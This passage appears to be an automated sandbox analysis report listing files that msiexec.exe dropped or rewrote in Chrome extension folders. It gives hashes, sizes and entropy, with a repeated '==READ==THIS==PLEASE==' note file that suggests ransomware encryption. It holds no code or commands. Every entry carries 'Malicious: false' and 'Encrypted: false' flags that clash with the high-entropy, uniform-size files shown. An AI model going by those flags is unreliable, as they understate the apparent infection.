SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\vi\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.688956838563974
Encrypted:	false
MD5:	F18B9F3A6A8E6529A66327567D9EAD29
SHA1:	B71621EE12C360CCA75B597301B4874A90239561
SHA-256:	9CC13DAA415A1DD6E682D86B7F64067B5F6FF319F6113676764A7AE3D8DC2166
SHA-512:	A1179567E28F9057744C8F9938DF01960E872BD0BA47CD4B92672F3411466EEA64DA5EA2C23822DC380492EA109BE54B2A72650BEDBDAA7C3F7AB69A6235F1D0
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\zh_CN\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\zh_CN\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.636083532470007
Encrypted:	false
MD5:	FD632AB3DB7F2BBF4A88A9D72D1DFFEF
SHA1:	B3D3CCBC395FF8CD1CB2CD37FCCC8C8723B5D779
SHA-256:	4175647D81BFCF0410C339C61A36FC957A95348DCF380EC0B6B7953A3375C007
SHA-512:	A8E88BB52C1AB508A4185BE2F5251089334DDDE6A065BD96CDE5670686B0F16A941350DD7088134D25A595EB4FCA98536A3492DAC910DBE5AB2862ED416DAC0F
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\zh_TW\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\_locales\zh_TW\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.696507050955254
Encrypted:	false
MD5:	BC30D0851DCF035C3169A7D6C0319513
SHA1:	C332EA5C89A3C06ED26AAA74D3A31DD897A9DB2F
SHA-256:	438ABA4C17FD518BD86455670B0EDAD71130242FEDA61102E2D14F7DD9FBC945
SHA-512:	42826FA7DA991727E85D140F58BEA80384B7448671497113A8542FE9E171A2C385691E266894BB90965ACE4EA01AD92375CC2E63BA52CE3B7E907F80799E3D41
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf\6.2_0\manifest.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.695099877208735
Encrypted:	false
MD5:	FC085CA61F8A15E4361B190321460A5F
SHA1:	4C061DFFDED77FC9C8DDF9DC17E8C10DDA3E802A
SHA-256:	E7F853452F0BEF830F84F63E042E9E35563FD0B2183DBB8FC946ABEF5DD8CB5D
SHA-512:	736EFC33ACD8950FC7C7656D7A1A9766493FB422FE57DB13D46759EF975FCD77C307D17EC242203B0E1F190512860F7FC11E5C2EA65808CBD4ACD8FFDC13234D
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\128.png
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.662773203177192
Encrypted:	false
MD5:	09D19E17E2284976A7DA5F68F0271AFE
SHA1:	E67F1BE12E4D9BD800EE62331F6851BB76CEEF54
SHA-256:	09941B986E9E263951F8EC94CD1A2CC4E34A9D7123ED9FBD5349F780C35AB3A5
SHA-512:	42F1E7DCE39BAE11D6377AFB75375A6F64EC21B094404203682B783C1327C2C575F7DAB26740532FF8BA8AC29530C237FA9371E5D706B2FF22475E0C2784C481
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ar\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ar\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.684288093058976
Encrypted:	false
MD5:	3856F334FE684C026470219BFE1AB07A
SHA1:	7AF16A00DFCB7A4D58C02B470025A51122C0C7C9
SHA-256:	3CE1A6C1C25039A47282CC1C9A90911E9A3FF3BA2315930EB734D7DF20C066B5
SHA-512:	A2EA74D46511F14F387146DD7080D28F3ED98524B8AD2A100CD64BD2B9BC2C137EC386B95C1E7E6D1AFE88785A50BAAF32A937CB8CA05DAE4D4C86EBF7F1D978
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\bg\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\bg\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.653928797160716
Encrypted:	false
MD5:	1D40783A7BBF7E42DC2EC95972536825
SHA1:	58BCFEF323AF598CFE4C294D3078B767596E3305
SHA-256:	B3AA9207F263B6DD0CD6F7558C3096DCC43DF024B2F26FEA735070E78B6ACBE8
SHA-512:	5387B98394F6E43005D9321D408EF801B649E6EC3B47C3CC2125FDE36AD4311FBEF105885BB662D08FACBB05F14BD9AF54B324F0BAA8DF0D11814BD40B258127
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ca\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\ca\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.663865140571117
Encrypted:	false
MD5:	9B1E910387B21C746A8A97E3C82103F2
SHA1:	6FA6E08A69BB4594D71977FAEC95C054B1B53B35
SHA-256:	9E43C3750B6B643C4A870E411911A6003DA2781010405C4259D8F7CE5643570C
SHA-512:	604BE16F87B30ABDCB0289AAF19BA5EA97EAC30D9A6BD048ADEDEA5467FB149BFDF2E509E0F338CF2313C1FB3B019CC5DCEB71A1F2D1B457381C3CF90A24C84E
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\cs\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\cs\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.671860986527265
Encrypted:	false
MD5:	F29C64634B140FCF8BD8E71ADE95AF81
SHA1:	A99F64755128A25D30240103450FEC3E846608D3
SHA-256:	97BDDB60762C5BBA6AA343CD9B71D92E40D5BC53564E5DCBF2EAD957A79190BF
SHA-512:	3FC270709562B4A0BFC02B49BD7D2EC47D311F75A15F9C449E76A0AAC16ED579A23794B233DD38D5CF671D0F4E1C27508EF973A42EE753F0ACDBEDB8E88B59A1
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\da\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\da\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.728573251563422
Encrypted:	false
MD5:	A30B6BA7057C018A8598807A8A6FB1DC
SHA1:	934882502EF304C58BF5051F51C7C12894C90E1B
SHA-256:	92CED506A466F5405330338B3869F6243948130A120EA48FD55DFD1448481587
SHA-512:	1AB08A5592E139DED21F06398A730E84137E78F6D66A6E96CF06304518AAC5E2241A4EE8E42FE3300F848EF686A0D7E995A077B4B6F62CDAD6F0EFA03592367F
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\de\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\de\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.68042875244497
Encrypted:	false
MD5:	B6D1A89CA383396CFC6CD3B0415308AD
SHA1:	DB5005D4607B346CAC423E211997C30935990CDF
SHA-256:	B646ECA3733C35B361AEEE19A54F7A20E8292E00FB3CB548545D935764B3011F
SHA-512:	63E0B2ED27114F2DB4F9B3426D0583722A3D8CD8158E9ABAF552DA0EEB2A97D81CBEB7CB653FE70738D1C0224D7C38E2FAB47C68ACCBD0CF202FB6A85ED3BC03
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\el\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\el\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.675457922732285
Encrypted:	false
MD5:	BEAACC32F4FD23CC22E75A6DEC58B3E5
SHA1:	47400972DABC4F5DFB21246A108DC440623CDF89
SHA-256:	440FC29CA1A3060B3C0A1CB57D47D2A2B24310F06080033A3E2106A4B2F78558
SHA-512:	1718D9EE09959AD2D29F8CD69718A4ED76CA2163CDA0B251DD12D60427DEE580ACA763F32939300ED8B3C36E578A5F412358EE7B4D69CC3F3B703396228BCB21
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\en\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\en\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.692459925903942
Encrypted:	false
MD5:	8704EEEB55EBDA5266A2CF055C7CCFBD
SHA1:	212B2DA924A4D82EA37A17B6DBF8FD15A0214A2C
SHA-256:	C1280DDA9F8F4D843232E6C1219239DC95C3F055E76CC4C5B07972846824F342
SHA-512:	800E537A80B902A4356CCC6E65FD6DB88CB276833EA4160412120BA19B85793ACA2D857323D0B21FF59CDC3A87B326AD71AFF255486B074420E34B396D3D3BE2
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\es\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\es\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.669317744487515
Encrypted:	false
MD5:	D606D61F0E15433B4081549D56D2D490
SHA1:	F047BE7BA2A2AB204911E9058B93DAA604E9A045
SHA-256:	BF47E459B8778D4125E2DF213725F91B33011A71C1D868F1E7A1A17CCC5405FB
SHA-512:	E442539657ED23A9088975DF5A4E1A68096C774533E04699A043CD88FFDE923CC61A16FAE4111E33325F1B07F4ECD17CC60C6FA767DB19A30476A41205496CE6
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\fi\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\fi\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.672727997273793
Encrypted:	false
MD5:	773FB6060259B2249FDB8ECE94478B39
SHA1:	0227DD3D7FE6E794F8A6764F220B3F9A86F18671
SHA-256:	F698C5DC6F849B6146D00670BDC2B3B3F349D7DBF853A38415657917DC304564
SHA-512:	3844F2C55B3853ADDCD317613D5D2FF6A3A8C9FA8F47C41C08279C24C5BFCF0F7D3CE6F341026C4F42A1FBB7838724233D88954BEA7442B5ECBFCFD870C072F4
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\fil\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\fil\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.682459306026598
Encrypted:	false
MD5:	A34B82636489A8B592373ED678DC07E4
SHA1:	D6967A360889C5A634EEEED9BD967C7FDA48AD86
SHA-256:	9A7EC96BCBDCF6CE7BEA9F7B351627B5EB3DE58077DA2C47A3D3B9723CB486C5
SHA-512:	60DFF36E13034AF5772E62532F7223C2360FE0BB2054E5968ED5CDA0F376CBDCE3F36794A8BADB0AF1531B992D2C8F4D435E87332FE19C40FB426FCA4E0CA873
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\fr\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\fr\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6723360256196
Encrypted:	false
MD5:	F4C909C6292E25941921BE822AED04FE
SHA1:	A126E2F842B8A9B5B539DF3D9ABD8BBC4223BD3B
SHA-256:	D422533D0811E157B588A0977F1B450FA0B44ED141FCC6453362527E8BCDF0B5
SHA-512:	F27E30314A6747A9EC05F018EB2A7553601CC3A38FDBEF43C7A7682737DA3DB2E551131B34AA7E9EA5838E3616824FEA18F876246E3F32F4A8194A02ED054F2C
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\he\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\he\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.694926345934873
Encrypted:	false
MD5:	667E8CDD9D2BE9936A5B40AD290BED90
SHA1:	AE28B9050B19111ED4F877CBCBCBEB64E05C901E
SHA-256:	D87F20F30E0390449E6CFB77FD968B3FC2846D72B786B8989B4ABFA5D2802684
SHA-512:	3ED022687E2B692775FA0E0BAAD02F9C5BFC349CD8F124FB73204EAF66267C5EA04E314E363793DC743CB67D3400A80130CC589738011E988DAA4B94305BC6F2
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\hi\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\hi\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.613295084212668
Encrypted:	false
MD5:	22A2735FB50A0986B10C23530C9CE0D2
SHA1:	282A12A1684264BF0F97EB7BFE1913898997FF4C
SHA-256:	56B8E5B1B2C7052F0160F6713B766BF24E22CC98ADA5BE1143EABCB3578D2D4E
SHA-512:	111C13E2A516ABA1B65D3447CA2CCD063FE8C65E80F3C475B48DA1E86F9DC4A859F94204E35F2D91478E33D9420F06FB50B646AFC472C491E20B14FC2C3438BF
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\hr\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\hr\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.680716260677843
Encrypted:	false
MD5:	B517AD9C45C8B62378274E76D5EACAAD
SHA1:	00A9E6F802F199E398AC48B4A73B15759C5A3C0F
SHA-256:	22A37F2E0C19405AA55759E0ED40629E85165CD3CEB35B809FA1E0ACB2C4B2FD
SHA-512:	ADC4EE8B4336D0EEF932DF1A76025A439BCED6BAFCB935CD3E11C5F32DB7459C4451DC1A6691A0DAC18A4D4FA317A33826EF94A48794FADA2404169727CAB588
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\hu\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\hu\messages.json
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.679580192384626
Encrypted:	false
MD5:	C1659CBF1A4356D6AEB90BF5CB85AFF8
SHA1:	1EE93AC372E307358ADB9F47C128B1C0CC390947
SHA-256:	D9A1BDCD741D757E3A92C12FF01871C818CFD0E1C9247046BADCAE65CFF3E9E8
SHA-512:	84D256B4542B2849727463B45844257A6D96107626C356A17E336E94E88EC12E931FA2BF0F0944299C6F83E3D9F10D522C8A88C50B8318B85A3081F0AF48F112
Malicious:	false

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo\4.2.5_0\_locales\id\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
